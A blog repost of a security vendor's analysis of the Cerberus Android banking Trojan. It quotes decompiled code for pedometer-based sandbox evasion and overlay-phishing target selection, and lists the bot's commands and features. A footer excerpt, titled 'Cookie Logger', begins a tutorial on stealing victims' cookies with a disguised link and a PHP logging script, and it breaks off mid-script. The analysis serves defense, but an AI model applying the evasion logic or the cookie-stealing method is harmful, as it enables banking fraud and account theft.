Skip to main content

Cerberus - A new banking Trojan from the underworld

Intro

In June 2019, ThreatFabric analysts found a new Android malware, dubbed "Cerberus", being rented out on underground forums. Its authors claim that it was used for private operations for two years preceding the start of the rental. They also state that the code is written from scratch and is not using parts of other existing banking Trojans, unlike many other Trojans that are either based completely on the source of another Trojan (such as the leaked Anubis source code that is now being resold) or at least borrow parts of other Trojans. After a thorough analysis, we can confirm that Cerberus was indeed not based on the Anubis source code.
One peculiar thing about the actor group behind this banking malware is that they have an "official" Twitter account that they use to post promotional content (even videos) about the malware. Oddly enough they also use it to make fun of the AV community, sharing detection screenshots from VirusTotal (thus leaking IoC) and even engaging in discussions with malware researchers directly.
The following screenshot shows tweets from their advertisement campaign:
Twitter advertisement campaign
That unusual behavior could be explained by the combination of the need for attention and a probable lack of experience.
What is sure is that the gap in the Android banking malware rental business left open after the rental of the Anubis 2 and RedAlert 2 Trojans ended provides a good opportunity for the actors behind Cerberus to grow their business quickly.

The Android banking Trojan rental business

Rental of banking Trojans is not new. It was an existing business model when computer-based banking malware was the only form of banking malware and has shifted to the Android equivalent a few years later.
The life span of Android banking malware is limited to either the will of its author(s) to support it or the arrest of those actors. This malware-life-cycle has been observed to reoccur every few years, bringing new malware families into the light. Each time a rented malware reaches the end of its life it provides the opportunity for other actors to take over the malware rental market-share.
As visible in the following chart, the lifespan of many well-known rented Android bankers is usually no more than one or two years. When the family ceases to exist a new one is already available to fill the void, proving that the demand for such malware is always present and that therefore Cerberus has a good chance to survive.
Rental business evolution
After the actor behind RedAlert 2 decided to quit the rental business, we observed a surge in Anubis samples in the wild. After the Anubis actor was allegedly arrested and the source code was leaked there was also a huge increase in the number of Anubis samples found in the wild, but the new actors using Anubis have no support or updates.
Due to this Cerberus will come in handy for actors that want to focus on performing fraud without having to develop and maintain a botnet and C2 infrastructure.

Analysis of evasion techniques

Along with the standard payload and string obfuscation, Cerberus uses a rather interesting technique to prevent analysis of the Trojan.
Using the device accelerometer sensor it implements a simple pedometer that is used to measure movements of the victim. The idea is simple - if the infected device belongs to a real person, sooner or later this person will move around, increasing the step counter. The Trojan uses this counter to activate the bot - if aforementioned step counter hits the pre-configured threshold it considers running on the device to be safe. This simple measure prevents the Trojan from running and being analyzed in dynamic analysis environments (sandboxes) and on the test devices of malware analysts.
The code responsible for this verification is shown in the following snippet:
...
this.sensorService.registerListener(this, this.accelerometer, 3);
Sensor localSensor = sensorEvent.sensor;
this.sensorService.registerListener(this, localSensor, 3);
if(localSensor.getType() == 1) {
    float[] values = sensorEvent.values;
    float Gx = values[0];
    float Gy = values[1];
    float Gz = values[2];
    long timestamp = System.curTimeMillis();
    if(timestamp - this.previousTimestamp > 100L) {
        long interval = timestamp - this.previousTimestamp;
        this.previousTimestamp = timestamp;
        if(Math.abs(Gx + Gy + Gz - this.curGx - this.curGy - this.curGz) 
            / (((float)interval)) * 10000f > 600f) {
            this.increaseStepCount();
        }
  
        this.curGx = Gx;
        this.curGy = Gy;
        this.curGz = Gz;
    }
}
...
if(Integer.parseInt(
    this.utils.readConfigString(arg7, this.constants.step)) < this.constants.limit) {
    goto skip;
}

How it works

When the malware is first started on the device it will begin by hiding its icon from the application drawer. Then it will ask for the accessibility service privilege as visible in the following screenshot:
Cerberus Accessibility request
After the user grants the requested privilege, Cerberus starts to abuse it by granting itself additional permissions, such as permissions needed to send messages and make calls, without requiring any user interaction. It also disables Play Protect (Google's preinstalled antivirus solution) to prevent its discovery and deletion in the future. After conveniently granting itself additional privileges and securing its persistence on the device, Cerberus registers the infected device in the botnet and waits for commands from the C2 server while also being ready to perform overlay attacks.
The commands supported by the analyzed version of the Cerberus bot are listed below. As can be seen, the possibilities offered by the bot are pretty common.
Command
Description
push
Shows a push notification. Clicking on the notification will result in launching a specified app
startApp
Starts the specified application
getInstallApps
Gets the list of installed applications on the infected device
getContacts
Gets the contact names and phone numbers from the address book on the infected device
deleteApplication
Triggers the deletion of the specified application
forwardCall
Enables call forwarding to the specified number
sendSms
Sends a text message with specified text from the infected device to the specified phone number
startInject
Triggers the overlay attack against the specified application
startUssd
Calls the specified USSD code
openUrl
Opens the specified URL in the WebView
getSMS
Gets all text messages from the infected device
killMe
Triggers the kill switch for the bot
updateModule
Updates the payload module

Cerberus features

Cerberus malware has the same capabilities as most other Android banking Trojans such as the use of overlay attacks, SMS control, and contact list harvesting. The Trojan can also leverage keylogging to broaden the attack scope. Overall, Cerberus has a pretty common feature list and although the malware seems to have been written from scratch there does not seem to be any innovative functionality at this time. For example, some of the more advanced banking Trojans now offer features such as a back-connect proxy, screen-streaming, and even remote control.
Cerberus embeds the following set of features that allows itself to remain under the radar and successfully perform attacks:
  • Overlaying: Dynamic (Local injects obtained from C2)
  • Keylogging
  • SMS harvesting: SMS listing
  • SMS harvesting: SMS forwarding
  • Device info collection
  • Contact list collection
  • Application listing
  • Location collection
  • Overlaying: Targets list update
  • SMS: Sending
  • Calls: USSD request making
  • Calls: Call forwarding
  • Remote actions: App installing
  • Remote actions: App starting
  • Remote actions: App removal
  • Remote actions: Showing arbitrary web pages
  • Remote actions: Screen-locking
  • Notifications: Push notifications
  • C2 Resilience: Auxiliary C2 list
  • Self-protection: Hiding the App icon
  • Self-protection: Preventing removal
  • Self-protection: Emulation-detection
  • Architecture: Modular
  • Overlay attack

    Most Android banking Trojans use overlay attacks to trick the victim into providing their personal information (such as but not limited to: credit card information, banking credentials, mail credentials) and Cerberus is no exception. In this particular case, the bot abuses the accessibility service privilege to obtain the package name of the foreground application and determine whether or not to show a phishing overlay window, as shown in the following code snippet:
    this.foregroundAppPackage = accesibilityEvent.getPackageName().toString();
      
    ...
      
    String target = this.strings.empty;
    if(this.strings.CC_apps.contains(this.foregroundAppPackage)) {
        target = this.strings.grabbCC;
    }
    else if(this.strings.MAIL_apps.contains(this.foregroundAppPackage)) {
        target = this.strings.grabMails;
    }
      
    try {
        Utils utils = this.utils;
        String v1_10 = target.isEmpty() ? this.foregroundAppPackage : target;
        if(utils.readConfigString(this, v1_10).length() > 10) {
            JSONObject config = new JSONObject();
            config.put(this.strings.params, this.strings.startViewInject);
            config.put(this.strings.packageAppStart, this.foregroundAppPackage);
            config.put(this.strings.nameInject, target);
            config.put(this.strings.packageProject, this.getPackageName());
            config.put(this.strings.packageView, InjectActivity.class.getCanonicalName(););
            Utils utils1 = this.utils;
            utils1.callModule(this, config.toString());
        }
    }
    catch(Exception e) {
        ...
    }

    Targets

    Some examples of phishing overlays are shown below. They exist in two types: the credentials stealers (first 2 screenshots) and the credit card grabbers (last screenshot).
    Overlay screenshot BNPOverlay screenshot GmailOverlay screenshot Card GP
    The only active target list observed in the wild is available in the appendix and contains a total of 30 unique targets.
    It is interesting to observe that the actual target list contains:
  • 7 French banking apps
  • 7 U.S. banking apps
  • 1 Japanese banking app
  • 15 non-banking apps
  • This uncommon target list might either be the result of specific customer demand or due to some actors having partially reused an existing target list.

    Conclusion

    Although not yet mature enough to provide the equivalent of a full-blown set of Android banking malware features (such as RAT, RAT with ATS (Automated Transaction Script), back-connect proxy, media streaming), or providing an exhaustive target list, Cerberus should not be taken lightly.
    Due to the current absence of maintained and supported Android banking Malware-as-a-Service in the underground community, there is a certain demand for a new service. Cerberus is already capable to fulfill this demand. In addition to the feature base it already possesses and the money that can be made from the rental, it could evolve to compete with the mightiest Android banking Trojans. Next, to the features, we expect the target list to be expanded to contain additional (banking) apps in the near future.
    Knowledge of the threat landscape and implementation of the right detection tools remains crucial to be able to protect yourself from fraud; Cerberus is yet a new Trojan active in the wild!

    Mobile Threat Intelligence

    The right intelligence makes the difference! Be aware of the threat landscape and know your risk exposure using MTI.
    MTI is real-time and relevant indicators to empower operational teams combined with strategic intelligence to have the right overview to plan your next steps.

    Client-Side Detection

    Mitigating the mobile malware threat starts with awareness, but also requires detection and protection to prevent the malware from being successful.
    CSD is the solution to detect the malware on devices, giving you insight into the threat and enabling you to fight it and defeat fraud.

    Comments

    Popular posts from this blog

    10 Best Forum Software For Webmasters

    10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h

    Assembly Language Step-by-step: Programming with DOS and Linux-

    (-Assembly Language Step-by-step: Programming with DOS and Linux-) The bestselling guide to assembly language-now updated and expanded to include coverage of Linux . This new edition of the bestselling guide to assembly programming now covers DOS and Linux! The Second Edition begins with a highly accessible overview of the internal operations of the Intel-based PC and systematically covers all the steps involved in writing, testing, and debugging assembly programs. Expert author Jeff Duntemann then presents working example programs for both the DOS and Linux operating systems using the popular free assembler NASM. He also includes valuable information on how to use procedures and macros, plus rare explanations of assembly-level coding for Linux, all of which combine to offer a comprehensive look at the complexities of assembly programming for Intel processors. Providing you with the foundation to create executable assembly language programs, this book: * Explains how to use NASM

    Cookie Logger

             Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary